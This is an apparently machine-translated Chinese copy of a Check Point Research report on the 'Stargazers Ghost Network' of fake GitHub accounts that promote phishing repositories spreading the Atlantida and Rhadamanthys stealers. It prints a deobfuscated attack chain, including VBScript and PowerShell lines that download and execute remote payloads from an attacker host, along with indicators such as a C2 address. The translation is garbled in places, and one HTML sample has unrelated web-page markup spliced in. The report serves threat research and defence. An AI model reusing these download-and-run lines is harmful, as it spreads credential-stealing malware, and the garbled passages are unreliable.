他们的战术现在已经发生了变革和发展。威胁行为者现在运营着一个由“幽灵”账户组成的网络，这些账户通过在其存储库上的恶意链接和加密档案作为发布来分发恶意软件。该网络不仅分发恶意软件，还供应各种其他活动，使这些“幽灵”帐户看起来像正常用户，从而为他们的行为和干系存储库供应虚假的合法性。Check Point Research 不雅观察到这些帐户分叉、加星标和监视恶意存储库，营造出合法项目的假象，并领导受害者下载“广告”内容。
在短韶光的监控中，我们创造了 2,200 多个发生“幽灵”活动的恶意仓库。在 2024 年 1 月旁边发生的一次活动中，该网络分发了 Atlantida stealer，这是一种新的恶意软件家族，会盗取用户凭据和加密货币钱包以及其他个人身份信息 （PII）。这场运动非常有效，由于在不到 4 天的韶光里，超过 1,300 名受害者传染了 Atlantida stealer。指向 GitHub 存储库的恶意链接可能是通过 Discord 频道分发的。这些存储库针对各种类型的受害者，他们希望增加在 YouTube、Twitch 和 Instagram 上的关注者，并且还包含用于破解软件和其他加密干系活动的网络钓鱼模板。
图 1 – Stargazer Ghost 帐户。
Stargazers Ghost 网络
很长一段韶光以来，GitHub 一贯被用作分发恶意代码的平台。常日，此类活动中涉及的仓库是为特定活动新创建的，并且常日会永劫光保持在线状态，然后被 GitHub 关闭或被威胁参与者清理。但是，这些存储库中的内容常日不会向普通用户建议他们该当下载并实行任何托管脚本或可实行文件。
这些类型的攻击并非旨在领导用户直接从存储库本身下载和实行有效负载。相反，它们常日涉及从看似合法的网站或来源下载和实行有效负载的脚本。这种方法有助于保持合法性的外不雅观，同时向受害者供应恶意内容。
Stargazers Ghost Network 通过供应一个恶意存储库来改变游戏规则，个中恶意链接被多个 GitHub 帐户“加星标”和“验证”，从而支持其合法性。
图 2 – 恶意 GitHub 帐户领导 Twitch 用户。
常日，网络利用相同的标签和图像，但将“目标受众”从一个社交媒体运用程序或破解软件切换到另一个，但利用相同的模板。这表明网络运营商可以自动化这些活动，从而确保其运营的效率和可扩展性。
图 3 – TikTok、YouTube、Twitch、Instagram、…利用相同的网络钓鱼模板。
网络钓鱼模板包含指向外部网站的恶意链接。在某些情形下，此链接会将受害者重定向到恶意 GitHub 存储库的“发布”部分。GitHub 常日会考试测验检测恶意文件或档案，只管在许多情形下，网络利用受密码保护的档案来“隐蔽”扫描办理方案中的任何恶意活动。README.mdDOWNLOAD
图 4 – 恶意软件通过密码加密的存档版本进行分发。
在这种情形下，包含一个网络钓鱼下载链接，该链接乃至不会重定向到存储库自己的版本。相反，它利用三个具有不同“职责”的 GitHub Ghost 帐户：README.md
第一个帐户供应“网络钓鱼”存储库模板。第二个帐户供应用于网络钓鱼模板的“图像”。第三个帐户在发布中以受密码保护的存档形式供应恶意软件。这种构造和操作方法使 Stargazer Goblin 能够快速“修复”由于帐户或仓库被禁止进行恶意活动而可能发生的任何断开链接。通过在多个账户之间分配任务，网络确保了改换其受损组件的灵巧性。这最大限度地减少了对其运营的滋扰，使他们能够迅速适应并连续在 GitHub 上进行恶意活动。
第三个帐户为恶意软件供应做事，更有可能被检测到。发生这种情形时，GitHub 会禁止全体帐户、仓库和干系版本。作为对此类行为的回应，Stargazer Goblin 利用指向新的活动恶意发布的新链接更新了第一个帐户的网络钓鱼存储库。这使网络可以在恶意软件做事帐户被禁止时以最小的丢失连续运行。
# [Download](hxxps://github.com/soulkeeper500/soulkeeper500/releases/tag/lat)### ViewBot is a tool designed to increase views and engagement on social platforms through an automated system. The software product is designed to help promote content for both individual users and organizations looking to expand their online influence. ViewBot utilizes modern social media API techniques to provide native and natural looking interactions.Warning: The use of bots to artificially boost social media statistics may be against the terms of use of the respective platforms and may result in account lockout.## Features- Live viewers- Trovo Account creator- Chat bot- Follow bot- Shares- Mass report- Support for multiple accounts to create organic traffic- Customize time intervals between "views" to simulate a real user- Simple and easy-to-use user interface- Support for proxy servers for anonymity and security## Technologies- C programming language- Work with social networks API- Proxy and anonymity of network requests- Web scraping and browser automation
从有履历的人来看，这些存储库彷佛很可疑。令我们感到惊异的是，这些仓库中的每一个都收到了大量的“星星”。进一步调查创造，卖力为这些恶意仓库加星标/“点赞”的账户是同一操作不可或缺的一部分。
图 6 – 恶意存储库的不雅观星者。
我们不雅观察到许多名为 Stargazer Ghost 的账户具有一种模式，这些账户包含具有以下特色的仓库：
仓库名称：.{username}1创建了两个文件： 容许证文件：LICENSE 解释文件：README.md此外，README.md 文件的标题是账户名后跟文本 "1"。详细来说，README.md 文件的内容如下：README.md# {username}11
这里 {username} 是详细的用户名部分，会被更换成实际的用户名。
图 7 – GitHub Ghost 帐户存储库模式。
当我们搜索该特定模式时，我们创造了 1,100 多个存储库，这表明可能有 1,100 多个 Ghost GitHub 帐户属于这个恶意的 Stargazers 网络。
图 8 – README.md 内容模式。
Stargazers 网络中的每个 Ghost-Stargazer 并不局限于只与一个存储库交互。个中许多帐户与多个存储库交互，个中很大一部分显然涉及恶意活动。但是，其他一些带星号的存储库看起来同样可疑，例如一些与 WordPress 干系的游戏模组工具。
图 9 – Ghost 帐户加星标的仓库。
根据这些 Ghost Stargazers 的广泛项目和“兴趣”——从玩 Counter-Strike 到 Instagram 影响者，再到利用破解的防病毒软件黑客攻击和保护机器——我们能够创造更多的恶意模板并进一步扩大我们的 Ghost Stargazer 账户凑集。
图 10 – 游戏作弊存储库。
当恶意链接重定向到 GitHub 版本时，我们不雅观察到关联帐户通过喜好这些恶意版本来做出反应的情形。这种行为进一步强化了项目对毫无戒心的用户所感知的“合法性”。
图 11 – 开释反应。
为了进一步区分帐户及其操作，我们创造了一些情形，即也是该网络一部分的其他帐户提交了恶意网络钓鱼文件。README.md
图 12 – 提交到另一个人的帐户项目。
目前尚不清楚所有这些帐户是否都是由 Stargazer Goblin 出于恶意目的创建的。正如我们后来的研究表明的那样，个中一些帐户已遭到入侵。这使得信息盗取者得到的 GitHub 凭据变得有代价，而且，代价足以在地下市场上出售和购买。
“下架”和“掩护”周期
多种不同的角色供应了便于网络掩护，由于 GitHub 不会关闭与分发恶意软件的存储库干系的所有帐户。这使得以下帐户在对托管恶意软件的存储库采纳行动时以最小的“危害”连续其操作：
存储库-网络钓鱼帐户。提交链接帐户。不雅观星者账户。和任何其他帐户。下面的存储库自那时以来一贯处于活动状态，并经历了 6 次链接变动。这 6 次提交是由 进行的，通过更新恶意软件链接来掩护攻击链。buttercupserial/HubSpot-activation-by-nuat2024-05-28buttercupserial/168463497+buttercupserial@users.noreply.github.com
图 13 – 掩护提交。
提交日期
恶意软件 URL
2024-05-28T10：21：50Z
hxxps://github[.]com/bludmooncutie2/bludmooncutie2/releases/tag/latest
2024-05-29T07：35：32Z
hxxps://github[.]com/witch12138/test/releases/tag/lat
2024-06-04T06：51：50Z
hxxps://github[.]com/soulkeeper500/soulkeeper500/releases/tag/lat
2024-06-06T07：40：15Z
hxxps://github[.]com/xumuk71discoatoh/xumuk71discoatoh/releases/tag/new
2024-06-10T02：09：27Z
hxxps://goo[.]su/gisof1sda –> hxxps://github[.]com/zigzagcharming643/zigzagcharming643/releases/tag/lat
2024-06-10T09：13：52Z
hxxps://github[.]com/xumuk71discoatoh/xumuk71discoatoh/releases/tag/new
提交精确地修正了下载链接，同时保持网络钓鱼模板的别的部分无缺无损。
图 14 — 链路变动。
最新的链接指向一个版本，该版本具有受密码保护的存档，该存档实行GO下载器Git_softwares_v1.1.2.7zSetup_v1.1.2.exe (SHA256:98B7488B1A18CB0C5E360C06F0C94D19A5230B7B15D0616856354FB64929B388)
图 15 – 受密码保护的开释。
该网络的掩护和规复过程彷佛是自动的，会检测被禁止的帐户/存储库，并在必要时进行修复。利用不同的账户角色可确保在 GitHub 对违反其规则的账户或仓库采纳行动时，只会造成最小的危害。
图 16 – Stargazers Ghost Network 角色概述。
大多数时候，我们不雅观察到 Repository 和 Stargazer 账户不受禁令和仓库下架的影响，而 Commit 和 Release 账户常日在检测到其恶意仓库后被禁止。找到包含被禁止的 Release-Repositories 链接的 Link-Repositories 是很常见的。发生这种情形时，与 Link-Repository 关联的 Commit 帐户会利用新链接更新恶意链接。
Commit 账户与 Repository 账户下的所有仓库保持一对一的关系。这意味着同一个提交账户可以对属于同一仓库账户的仓库进行多次提交。
对付范例的广告系列，我们常日会遵守以下哀求：
一个存储库帐户，即托管要下载的链接的网络钓鱼存储库的所有者。一个 Commit 账户，用于对属于 Repository 账户的仓库进行提交一个 Release 帐户，用于创建恶意存档并将其添加到存储库的发布中，并每天更新存档以在更长的韶光内不被创造。X Stargazer 帐户，它分叉/星标/喜好存储库和发布。在上述场景中，Release 帐户常日是第一个被禁止的。然后，网络运营商创建一个新的恶意链接，并利用其干系的提交帐户更新所有链接仓库。总之，2 个账户（Repository/Commit），加上 X 个不雅观星者，仍旧处于雷达之下，而 1 个 Release 账户可能会在未来的某个时候被禁止。这些网络角色设法以某种办法“绕过”GitHub 的安全度量。
战役一，Stargazers Ghost Network – Atlantida Stealer
Check Point Research 详细剖析了一个详细案例，揭示了导致 Atlantida 盗取者的 GitHub 活动。恶意的 GitHub 链接可能是通过 Discord 分发的，针对 Twitch 用户。攻击链利用托管在受传染的 WordPress 网站上的恶意脚本，让我们想知道带有 WordPress 网站代码的可疑 GitHub 存储库是否也可能发挥浸染。
图 17 – 攻击链概述。
受害者会收到一个指向 GitHub 网络钓鱼存储库的链接，并点击恶意下载链接，该链接会辅导他们从 WordPress 网站下载脚本。联系的 PHP 文件会检讨来自 HTTP 要求，以验证受害者是否来自 GitHub，以及 IP 地址是否属于 TOR 网络或任何其他列入黑名单的 IP。验证后，PHP 文件会将要求重定向到 。index.phpReferer headerdownload.php
README.md内容：
## [DOWNLOAD](hxxps://carson.org.uk/gg1/index.php)### ViewBot is a tool designed to increase views and engagement on social platforms through an automated system. The software product is designed to help promote content for both individual users and organizations looking to expand their online influence. ViewBot utilizes modern social media API techniques to provide native and natural looking interactions.Warning: The use of bots to artificially boost social media statistics may be against the terms of use of the respective platforms and may result in account lockout.## Features- Automate page/video views on popular social platforms- Support for multiple accounts to create organic traffic- Customize time intervals between "views" to simulate a real user- Functionality to enhance interaction with content (likes, comments, subscriptions)- Simple and easy-to-use user interface- Support for proxy servers for anonymity and security## Technologies- Python programming language- Work with social networks API- Proxy and anonymity of network requests- Web scraping and browser automation## License[](LICENSE)
下载的文件是一个名为 .HTAImpress_V1.0.2.hta 的文件。这个文件包含一个恶意的 iframe，个中有一个链接会实行 VBScript 代码。
<iframe src="hxxp://astrahebz.com/te/g.mhtml" application="yes" style= " border:6px solid red;" title="useful 324 test">gfdsgfd</iframe> <a href="#content" class="s-topbar--skip-link">Skip to main content</a> <div class="s-topbar--container"> <a href="#" class="s-topbar--menu-btn js-left-sidebar-toggle" role="menuitem" aria-haspopup="true" aria-controls="left-sidebar" aria-expanded="false"><span></span></a> <ol class="s-navigation" role="presentation"> <li class="md:d-none"> <a href=".co/" class="s-navigation--item js-gps-track" data-gps-track="top_nav.products.click({location:2, destination:7})" data-ga="["top navigation","about menu click",null,null,null]">About</a> </li> <li> <a href="#" class="s-navigation--item js-gps-track js-products-menu" aria-controls="products-popover" data-controller="s-popover" data-action="s-popover#toggle" data-s-popover-placement="bottom" data-s-popover-toggle-class="is-selected" data-gps-track="top_nav.products.click({location:2, destination:1})" data-ga="["top navigation","products menu click",null,null,null]" aria-expanded="false">ass="s-popover--arrow"></div> <ol class="list-reset s-anchors s-anchors__inherit"> <li class="m6"> <a href=".com/questions" class="bar-sm p6 d-block h:bg-black-225 js-gps-track" data-gps-track="top_nav.products.click({location:2, destination:2})" data-ga="["top navigation","public qa submenu click",null,null,null]"> <span class="fs-body1 d-block"> </span> <span class="fs-caption d-block fc-black-400">Public questions & answers</span> </a> </li> <li class="m6"> </form>
VB 脚本包含实行 PowerShell 的稠浊代码，而 PowerShell 又从另一个 WordPress 网站运行远程代码。VB 去稠浊代码：
<script language="vBsCrIpT"> Set tired52 = GetObject('winmgmts:\\\\\\\\.\\\\root\\\\cimv2') Set shell29 = tired52.Get('Win32_Process') intReturn = shell29.Create('powershell irm hxxp://astrahebz.com/te/useless.txt | iex', Null, Null, intProcessID)</script>
实行 .NET 注入器的 PowerShell 代码。
$crop213 = @'[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'@Add-Type -MemberDefinition $crop213 -Namespace "crumble542543" -Name "culture6546"$danger5646 = [crumble542543.culture6546]::GetConsoleWindow()[crumble542543.culture6546]::ShowWindow($danger5646, 0)[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("hxxps://astrahebz.com/te/tetete.bin")).EntryPoint.Invoke($null, @($null))
此 .NET 注入器创建并注入 shellcode 的进程。末了，丢弃的恶意软件是带有C&C的Atlantida盗取者。Stealer 的网络通信是未加密的纯文本。第一个连接将 IP 信息发送到 ，不才一个连接中将 IP 信息发送到包含被盗信息的存档 ， ， ， 并且对付每个浏览器，Cookie/History/…regasm.exe185.172.128.95185.172.128.95:6666185.172.128.95:6665Screenshot.jpegUser Infromation.txtGeo Information.txtBrowserInfo.txt
图 20 – 机器人的第一个要求。
图 21 – 机器人的第二个要求。
该活动彷佛针对的是希望在 Twitch、Instagram、YouTube、Twitter、Trovo 和 TikTok 上增加“关注者受众”或利用其他与工具干系的功能进行 Kick Chat、Telegram、Email 和 Discord 的受害者。分发此模板和网络钓鱼链接的一些恶意存储库是：
armoly/Discord-Botarmoly/Ds-Spmarmoly/Email-Spmarmoly/Tg-Spmarmoly/Tg-SpmTg-Spmarmoly/Twt-Spmbleblquck/FT-Viewwbleblquck/Kck-Vwbleblquck/Trv-Vwsbleblquck/Tw-Vwsdscvm/Discord-Vbotdscvm/Visoul-Grabberglassmuysa/Htlx-Gen-Checkglassmuysa/Mail-Ac-Genglassmuysa/TwT-Genrglassmuysa/Ytb-Dwnldgooles54/Rison-Raid-Botgooles54/Rison-Trading-Botgooles54/WPscnlzero121/TWT-vWSlzero121/Ytb-Vwslzero121/iNS-vWSlzero121/tK-vWSmemekch/TWT-vWSmemekch/Ytb-Vwsmemekch/iNS-vWSmemekch/tK-vWSmemo1l/ChatGpt-Turbosokratso/KMSpic-Acvaliso0/Mail-Ac-Generatorvaliso0/TwT-Genvaliso0/Ytb-Dwnld
与此同时，超过 380 个 Stargazer Ghost 帐户为列出的 ~30 个仓库加星标：
0SPEED, 1shadowed, 2011mehdi, 60go, 7qwertyz, 9599853506, AUGUSCO, Ahmad7Salah, Akshitdangwal, Alexaldi, Alpha9310, AmirChidan9, AngelFx777, Aniketgamingx, ArsanyAbdalla, Aubskobbes5, Azang123, Badno2055, Bahaabasuny0, Bazarasxx, BilalPasta, Boki309, BreakDee, BrokyBroke, Byronjr1, CanyonsEcho, Castle135798, Ch4r0oN, Chhunly844, Client, CoderXL, Coding, Cortjiani, D4RK4T, DSB1973, Danish24123, DavidGruz, Detroit16, Drakanobr, Emaynike, EneerOP, Ericshalbe, Felixcyniiy, ForlornWindow46, Fox, Fox-King777, FranciscoFerreiraMaciel, GEOMETRYDASHGOD2010, GEOXKEVINO, GabrielFel, GabrielHorbach, GabrielHorbach,, Gabst7, Gaplaster3600, Ghadir450, Git, Gokumase, Gonachapa, GurujiIsLive, Hassanjanjua, Haxrusxx, Housamelsherif, HuzaifaOmar, I1900sn, ImadOmer, Irsyan12, ItzzSzymusss, Ivrou66, Jamaldoskiy, Jaouadrobio, Jasonnoi, Jayko235, Jayxxx14, Jessy55491, JhonataLim, Jockymaxi, JonathanLaraAguirre, Jtayyab007, KaizerEmre, KenderMendoza2, Kets357, Kimi-, Kimi-Hsueh, Kle182, Kroz157, Krutik03, Kynarox, LAKAKKK, LEVITA44, Leandro1242, LeandroMirante, Lebagordo, LeoBello00, Lyonnais, Lyonnais-2008, M-Asghar8atk, MHCYT, Madulahstaxks, MahmoudRede, Malek50, Mallco14,, Marco22gt, Marcoscpires, Masud99Rana, MemeiNako, MenowJP, Miguelnogame, MohamedFayek2024, Mudjator, MuhammadBayuPriyatna, MuhammadRamzan123, Mustangth666, Nannydream, Nealhag, Neivolan, NexoCreeper, Nikolas145, Nitanzw, NobiKazi, Oeslen, OrucMuhammed, OscarSalas19, Oscardoh63, Pantyshop, PasaBrava, Paul, Paul-CACHERA, Pedro42600, PlarixTools, PsandQs, ROBOT2207, Rajveer8169, RefiElisa, Richard-Petty-Cru, RikuAAAAA, Riles923, RimuruNeto, RolandSandorNagy, RoyalLegend0304, Ruhan44, SaidDEV89, SaidSetup, SalmonButterzz, SatakeReal, Sebocha18, Severete, Sinbaiezechiel, SirRafael, Sourovnag, Sourovnag,, StrikerJapa, SusannBaldiviezo, Syedhamzaalishah, SzaSza2, TUNA-V, Technogun92, Thanakys, ThawHtooZin, ThiagoSilva97, Tomasdionisio, TulioInnoveSistema, Tumladen, Umair-Younus-1152, Urashtu, UsmanKhursheed06, Vavarea, Vickysris, Victor, VilaxDev00, Voracxty, WILWAP, Wanmeng811, Warungkakek, WeFacaa, Winzume, YakultGo, Yinyang26, Yokeshraj2001, Youssef, Zecuss, Zekoahmed, Zounzxx, a1nz0, aabdelhaleemm, absolutelie, achieversm, adixillua, advaman, alexplaysminecraft, aliii00, aminov1010, anaskhan785, anasskeda, aninha1kstro, asayahandatgr, asdasfazamazsdgfdsg, asdssfsd, asliyiilmaz, asmuiahmad, asmuiahmad,, atoras34, axeldolce0x, bgpx28, bleblquck, bodrumblock, brayan7897, brookandels, c0mroy, chatchai2165, dadinhokkk, dblancolascarez, deepak, deepak-gurjar07, deseplikon, dikiprsty, dnomesh, ecoplayer07, egoistpanel, elMarkoDev, epsilon201, f4h3m, fanerso, fatemehsotudeh, foxboyyyyyyy, gdois, georgi1122, guy1a2, hamudi1122, hereisue, hnghvfhcggf6699, hugotpdev, imazen59, imbored112, ismailsawadi, issabii, jahanzaibranaa1, jeremix14, jetunpatel1376, katarinadewi01, kb2030, khaledbenz2009, khanbhijan, khk6644, kitrock25, knowledgecase, kubisshi, kumar7679, kumarthar, kurosh, kxzpreto, kxzpreto,, larryewakins, lawadas1231, lenegropu, lilmaku, llkkaaaslk, lokmanbaz, lucasmatheusdasilvadarosa, lucasodiniz, lucasstarley, lukeomatik, lyyzwjj, lzero121, m1a5g24, mady0602, mahlatsita, mailnhucac, malhotraraghav2003, malrazer, mansourazim, marcosibottino, mariamlola, mateuscarestiato, mayilvaganam, medo659, memo20101, mertahxo, mgred22, milklove60122, misterclima, mjsal, mohamednaeem109, monishgoal, motiaaa2, mougouta1, mrsinner56, mtalha7262, nachoooopxd, nadir0125, nathan, nendousbae, newbieRizal, nguyenthanhthuy140403, nikko6433, ninexslow, ninjas007, nizzamgrty, nomeshhost, noobking1234, noobking1234,, notayessir, notglwze, nunur66, oPaozinh0, oicu8lsd, openmare, pao2522, passcard2A, patadoeman222, phuriphatthongkuea, pierre930523, potatoaim1313, prasanta1515, qaisar1234890, quavofinnest, rakuyoMo, ramdoni, ratihpurnamasar, raul2341, razzm7, rbxrecoveryexploits, rcrobcarlos, rdiaz-002, reekid84, revelicate, reynaldirey18, richiewrld, rico260104, ricogann, riendlek, riftal12, riocdr, rtR4RWp, rudy172, rxcw777, saadanjaved, saintxzx, saivaibhavtamiri, samiranf, sarathi, sejgseok, sepqy, sha0urya, sisjosex, sowjanyabhat, squidy24, sujay1599, tajokshare2023, tamsirdiarra4, teejw, thedani1122, therotmaxxer, titiobig, tjwpo, tonyOsama1546, trev2coldfrr, tvixterSourceCode, txxzclew, ugyen27, ultralinksgh, vault797478, victid, wa314444, watcharaponnar, webdevuacs, wildan324, williamvidal87, xinghe99, xitadinhoss, yiosoimortal, yokamm, yoosef30, yourscloudyy, yuong22, z8lc, z8lc60go, zaayaz, zefgzeragze, zuhdi, zuhdi-in
在这些存储库中发生的事宜略少于 2,000 个。令人印象深刻的是，2024 年 5 月 27 日发生了 621 起，2024 年 5 月 31 日发生了 555 起，这表明可能在这些日期前后发生了活动，或者 GitHub 中断了部分操作，Stargazer Goblin 当时“修复”了网络的受影响部分。
图 22 – Stargazers Ghost Accounts 在与 Atlantida 战役干系的存储库上的活动。
一个帐户拥有存储库，另一个帐户进行了提交，在某些情形下，这些提交还包含他们的电子邮件地址。这些文件的作者是：README.mdproton.meREADME.md
提交日期
提交作者
提交电子邮件
存储 库
2024-05-25T10：44：45Z 格林威治标准韶光-5
屠戮军团
166757567+slaycorpsa@users.noreply.github.com
格拉斯穆伊萨/TwT-Genr
2024-05-25T11：03：18Z 格林威治标准韶光-5
屠戮军团
166757567+slaycorpsa@users.noreply.github.com
glassmuysa/Mail-Ac-Gen
2024-05-25T11：55：04Z 格林威治标准韶光-5
屠戮军团
166757567+slaycorpsa@users.noreply.github.com
格拉斯穆伊萨/Ytb-Dwnld
2024-05-25T12：00：10Z 格林威治标准韶光-5
屠戮军团
166757567+slaycorpsa@users.noreply.github.com
glassmuysa/htlx-gen-检讨
2024-04-11T23：22：47Z 格林威治标准韶光+2
特瓦里苏阿
166768002+twarisua@users.noreply.github.com
valiso0/邮件互换发电机
2024-04-11T23：24：39Z 格林威治标准韶光+2
特瓦里苏阿
166768002+twarisua@users.noreply.github.com
valiso0/邮件互换发电机
2024-05-25T12：11：09Z 格林威治标准韶光+2
特瓦里苏阿
166768002+twarisua@users.noreply.github.com
valiso0/邮件互换发电机
2024-05-25T12：12：25Z 格林威治标准韶光+2
特瓦里苏阿
166768002+twarisua@users.noreply.github.com
valiso0/TwT-Gen
2024-05-25T12：15：12Z 格林威治标准韶光+2
特瓦里苏阿
166768002+twarisua@users.noreply.github.com
valiso0/ytb-dwnld
2024-05-26T10：54：48Z 格林威治标准韶光-5
布拉戈斯洛
seppdrmosi21@proton.me
dscvm/Discord-Vbot
2024-05-26T11：07：42Z 格林威治标准韶光-5
布拉戈斯洛
seppdrmosi21@proton.me
dscvm/Visoul-Grabber
2024-05-27T13：34：17Z 格林威治标准韶光-5
埃利斯441
killimagaro001@proton.me
gooles54/rison-raid-机器人
2024-05-27T14：10：03Z 格林威治标准韶光-5
埃利斯441
killimagaro001@proton.me
gooles54/rison-交易-机器人
2024-05-27T14：31：44Z 格林威治标准韶光-5
埃利斯441
killimagaro001@proton.me
gooles54/WPscn
2024-05-30T20：24：15Z 格林威治标准韶光-4
瓜拉12
zerocoinmarksirt21@proton.me
lzero121/iNS-vWS
2024-05-30T20：24：29Z 格林威治标准韶光-4
瓜拉12
zerocoinmarksirt21@proton.me
lzero121/tK-vWS系列
2024-05-30T20：24：46Z 格林威治标准韶光-4
瓜拉12
zerocoinmarksirt21@proton.me
lzero121/TWT-vWS
2024-05-30T20：24：56Z 格林威治标准韶光-4
瓜拉12
zerocoinmarksirt21@proton.me
lzero121/ytb-vws
2024-05-31T20：58：21Z 格林威治标准韶光-4
库彻尔52
svarovsky00012@proton.me
bleblquck/FT-Vieww
2024-05-31T20：58：46Z 格林威治标准韶光-4
库彻尔52
svarovsky00012@proton.me
bleblquck/Kck-大众
2024-05-31T20：58：59Z 格林威治标准韶光-4
库彻尔52
svarovsky00012@proton.me
bleblquck/TRV-Vws
2024-05-31T20：59：09Z 格林威治标准韶光-4
库彻尔52
svarovsky00012@proton.me
bleblquck/TW-大众
有趣的是，在存储库的情形下，有三个提交而不是一个。这表明，如果存储库未被创造并被禁止，则可以在多个活动中利用它。常日，行为是作者创建一个存储库，提反目意代码，不久之后，Stargazer 帐户连续为存储库加星标。valiso0/Mail-Ac-GeneratorREADME.md
战役二，不雅观星者幽灵网络 – Rhadamanthys
在许多情形下，“网络钓鱼”模板显然是针对普通用户的，只管有特定的目标受众。在一个特定案例中，我们不知道他们是否针对安全研究职员或其他威胁参与者。该模板的标题“RisePro Stealer + HVNC Crack： The Ultimate Cybersecurity Threat”从理论上讲，供应了已知信息盗取程序 RisePro 的破解版本。实际上，它用一个 GO 下载器传染了受害者，该下载器后来删除了 Rhadamanthys。
图 23 – RisePro 网络钓鱼模板。
其他存储库分发了相同的短链接，具有针对不同受众的不同网络钓鱼模板。goo.su/n8J4mOH
AmerHashima/Voicemod-2024-Crack-Full-VersionDanms661/NEAR-HOT-WALLET-AUTOBOTDanms661/SEED-SEARCHER-Crypto-Checker-30-WalletsDanms661/Top-Osu-Hacks-2024-Aim-Assist-Bots-and-MoreEssence-Of-Slimez-37/Pinnacle-Studio-CrackEssence-Of-Slimez-37/Pro-Tools-CrackEssence-Of-Slimez-37/ProtonVPN-Free-Crack-2024Essence-Of-Slimez-37/ReiBoot-Pro-Crack-Download-FreeEssence-Of-Slimez-37/Revit-CrackEssence-Of-Slimez-37/Rhinoceros-CrackEssence-Of-Slimez-37/RisePro-Stealer-HVNC-CrackEssence-Of-Slimez-37/SEED-SEARCHER-Crypto-Checker-30-WalletsEssence-Of-Slimez-37/Simple-Checker-CrackEssence-Of-Slimez-37/Snapster-autobotEssence-Of-Slimez-37/SolidWorks-crackEssence-Of-Slimez-37/Sound-Forge-crackEssence-Of-Slimez-37/Steam-account-autoregger-creation-of-maFileEssence-Of-Slimez-37/Sublime-Text-crackEssence-Of-Slimez-37/TFT-Unlocker-Tool-FUllEssence-Of-Slimez-37/TeamViewer-Latest-Crack-2024Essence-Of-Slimez-37/The-unifier-is-both-VideoEssence-Of-Slimez-37/Toon-Boom-Harmony-CrackEssence-Of-Slimez-37/Top-Osu-Hacks-2024-Aim-Assist-Bots-and-MoreEssence-Of-Slimez-37/Unity-Pro-CracksEssence-Of-Slimez-37/VLC-Media-Player-CrackEssence-Of-Slimez-37/Vape-V4-Crack-KangarooEssence-Of-Slimez-37/Voicemod-2024-Crack-Full-VersionEssence-Of-Slimez-37/Youtube-365-Auto-upload-cheat-checkerEssence-Of-Slimez-37/ZBrush-CrackEssence-Of-Slimez-37/pixel-wallet-bot-freeEssence-Of-Slimez-37/yescoin-bot-installationHeangHorn/Corel-Draw-Free-Crack-2024Knight-JNXU/Catizen-Auto-bot-autofarmMajor2000/Albion-2024Major2000/EFT-ESP-hackMikeWoWOne/Fortnite-hack-versionMikeWoWOne/GameMaker-Studio-2-CrackMikeWoWOne/HWID-spoofer-for-gamesMikeWoWOne/IObit-Uninstaller-Latest-Version-CrackMikeWoWOne/JetBrains-IntelliJ-IDEA-CrackMikeWoWOne/KMS-Auto-Windows-and-Office-ActivatorMikeWoWOne/Kiddions-mod-menu-gta-5MikeWoWOne/KuCoin-trading-botMikeWoWOne/Lethal-Company-HackMikeWoWOne/LoL-hack-scriptMikeWoWOne/Lumion-CrackMikeWoWOne/Magix-Music-Maker-CrackMikeWoWOne/Matlab-CrackMikeWoWOne/Movavi-Video-Editor-Pro-Crack-DownloadMikeWoWOne/NARAKA-BLADEPOINT-Hack-FreeMikeWoWOne/NEAR-HOT-WALLET-AUTOBOTMikeWoWOne/Navisworks-CrackMikeWoWOne/Nero-Burning-ROM-CrackMikeWoWOne/NordVPN-Pro-Crack-Full-VersionMikeWoWOne/hamster-kombat-bot-freeMikeWoWOne/memefi-coin-crypto-botMolano11/Nero-Burning-ROM-CrackMolano11/Youtube-365-Auto-upload-cheat-checkerOzkaynak-Sucuk/1inch-botOzkaynak-Sucuk/ARK-radar-hackOzkaynak-Sucuk/Albion-2024Ozkaynak-Sucuk/Apex-2024Ozkaynak-Sucuk/Autodesk-Maya-CrackOzkaynak-Sucuk/BitMEX-trading-botOzkaynak-Sucuk/Bitfinex-botOzkaynak-Sucuk/Blum-auto-botOzkaynak-Sucuk/Coinbase-pro-trading-botOzkaynak-Sucuk/Cs-2-Hack-SkinchangerOzkaynak-Sucuk/Discord-Nitro-Alt-Generator-FreeOzkaynak-Sucuk/Driver-Booster-Pro-License-Key-CrackOzkaynak-Sucuk/Fc-24-Hack-FreeOzkaynak-Sucuk/FiveM-Hacks-2024Ozkaynak-Sucuk/Fixing-Error-kernelbaseOzkaynak-Sucuk/Fortnite-hack-versionSpacyXyt/Cinema-4D-CrackSpacyXyt/LoL-hack-scriptV-arc/Silverfishbatuhanodbs/FiveM-Hacks-2024blackvn05/ReiBoot-Pro-Crack-Download-Freedblancolascarez/CCleaner-Crackjgprimaki/Microsoft-Office-2024-Cracked-Versionjzhou8881/Discord-Nitro-Alt-Generator-Freejzhou8881/Driver-Booster-Pro-License-Key-Crackjzhou8881/EFT-ESP-hackjzhou8881/ESET-NOD32-Antivirus-Crackjzhou8881/Earnings-on-CS2-trades-CS-Trading-helper-Buff163jzhou8881/Fc-24-Hack-Freejzhou8881/Filmora-License-Key-Crack-Downloadjzhou8881/FiveM-Hacks-2024jzhou8881/Fivem-Hack-undetectedjzhou8881/Fixing-Error-0x80004005-Unspecifiedjzhou8881/Fixing-Error-0x80070002jzhou8881/Fixing-Error-0x80070005-Access-Deniedjzhou8881/Fixing-Error-0x8007000Ejzhou8881/Fixing-Error-0x80070057-Invalid-Parameterjzhou8881/Fixing-Error-0x80070424-Specified-Servicejzhou8881/Fixing-Error-0x80070570jzhou8881/Fixing-Error-0x80072EE7jzhou8881/Fixing-Error-0x8015DC12jzhou8881/Fixing-Error-0x803F8001jzhou8881/Fixing-Error-0x887A0005-DirectXjzhou8881/Fixing-Error-0x887A0020jzhou8881/Fixing-Error-0xC000007Bjzhou8881/Fixing-Error-0xC0000142jzhou8881/Fixing-Error-0xc0000005jzhou8881/Fixing-Error-0xc00000bajzhou8881/Fixing-Error-BEXjzhou8881/Fixing-Error-d3dx9-43-dlljzhou8881/Fixing-Error-kernelbasejzhou8881/Fortnite-hack-versionjzhou8881/Free-Crypto-Trading-Bot-Downloadlixvr/1inch-botlixvr/BitMEX-trading-botlixvr/KuCoin-trading-botlixvr/Sandbox-CryptoBotlixvr/eTukTuk-CryptoBotteenjay/Sound-Forge-crackteenjay/Steam-account-autoregger-creation-of-maFileteenjay/Sublime-Text-crackteenjay/TFT-Unlocker-Tool-FUllteenjay/TeamViewer